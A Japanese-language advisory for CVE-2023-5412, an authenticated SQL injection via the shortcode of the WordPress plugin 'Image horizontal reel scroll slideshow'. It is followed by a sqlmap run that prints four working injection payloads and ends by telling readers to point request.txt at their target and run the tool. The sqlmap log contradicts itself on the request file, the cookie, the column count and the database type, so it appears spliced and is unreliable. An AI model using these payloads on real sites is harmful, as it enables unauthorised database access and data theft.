
Image horizontal reel scroll slideshow <= 13.2 - 認証済み(購読者+)ショートコード経由のSQLインジェクション
Image horizontal reel scroll slideshow <= 13.2 - 認証済み(購読者+)ショートコード経由のSQLインジェクション
WordPress用プラグイン「Image horizontal reel scroll slideshow」は、バージョン13.2以前において、ユーザー指定パラメータのエスケープ処理が不十分で、既存のSQLクエリの準備が十分でないため、プラグインのショートコードを介したSQLインジェクションに対して脆弱です。これにより、購読者レベル以上の権限を持つ認証済み攻撃者は、既存のクエリに追加のSQLクエリを付け加え、データベースから機密情報を抽出するために使用することが可能になります。
CVE ID: CVE-2023-5412
CVSS Score: 8.8
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Severity: high
Plugin Slug: image-horizontal-reel-scroll-slideshow
WPScan URL: https://www.wpscan.com/plugin/image-horizontal-reel-scroll-slideshow
Reference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/08fb698f-c87c-4200-85fe-3fe72745633e?source=api-prod
$ python3 sqlmap.py -r request.txt --level 5 --risk 3 --dbms mysql
___
__H__
___ ___[,]_____ ___ ___ {1.7.10.4#dev}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 09:30:00 /2023-10-31/
[09:30:00] [INFO] parsing HTTP request from 'r.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y
JSON data found in POST body. Do you want to process it? [Y/n/q] y
Cookie parameter 'splunkweb_csrf_token_8000' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] n
[09:30:05] [INFO] testing connection to the target URL
[09:30:05] [WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: {"id":15278,"title":"test","content":"<!-- wp:shortcode -->\n[ihrss-gallery type=\"GROUP1' AND 6149=6149-- rURz\" w=\"600\" h=\"170\" speed=\"1\" bgcolor=\"#FFFFFF\" gap=\"5\" random=\"YES\"]\n<!-- /wp:shortcode -->","status":"publish"}
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: {"id":15278,"title":"test","content":"<!-- wp:shortcode -->\n[ihrss-gallery type=\"GROUP1' AND GTID_SUBSET(CONCAT(0x7176707171,(SELECT (ELT(2634=2634,1))),0x717a6a6a71),2634)-- HfPe\" w=\"600\" h=\"170\" speed=\"1\" bgcolor=\"#FFFFFF\" gap=\"5\" random=\"YES\"]\n<!-- /wp:shortcode -->","status":"publish"}
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id":15278,"title":"test","content":"<!-- wp:shortcode -->\n[ihrss-gallery type=\"GROUP1' AND (SELECT 9808 FROM (SELECT(SLEEP(5)))ZygG)-- lLMa\" w=\"600\" h=\"170\" speed=\"1\" bgcolor=\"#FFFFFF\" gap=\"5\" random=\"YES\"]\n<!-- /wp:shortcode -->","status":"publish"}
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: {"id":15278,"title":"test","content":"<!-- wp:shortcode -->\n[ihrss-gallery type=\"GROUP1' UNION ALL SELECT NULL,CONCAT(0x7176707171,0x584263726a5256524c4a78706c756a77726d4d626c754b4d654558734a4d6254664a4d4256565574,0x717a6a6a71),NULL,NULL-- -\" w=\"600\" h=\"170\" speed=\"1\" bgcolor=\"#FFFFFF\" gap=\"5\" random=\"YES\"]\n<!-- /wp:shortcode -->","status":"publish"}
---
[09:30:05] [INFO] testing MySQL
[09:30:05] [WARNING] the back-end DBMS is not MySQL
[09:30:05] [CRITICAL] sqlmap was not able to fingerprint the back-end database management system
[09:30:05] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 3 times
[*] ending @ 09:30:05 /2023-10-31/
request.txt内のURLとCookieをターゲットに合わせて変更し、上記のようにsqlmapを実行してください。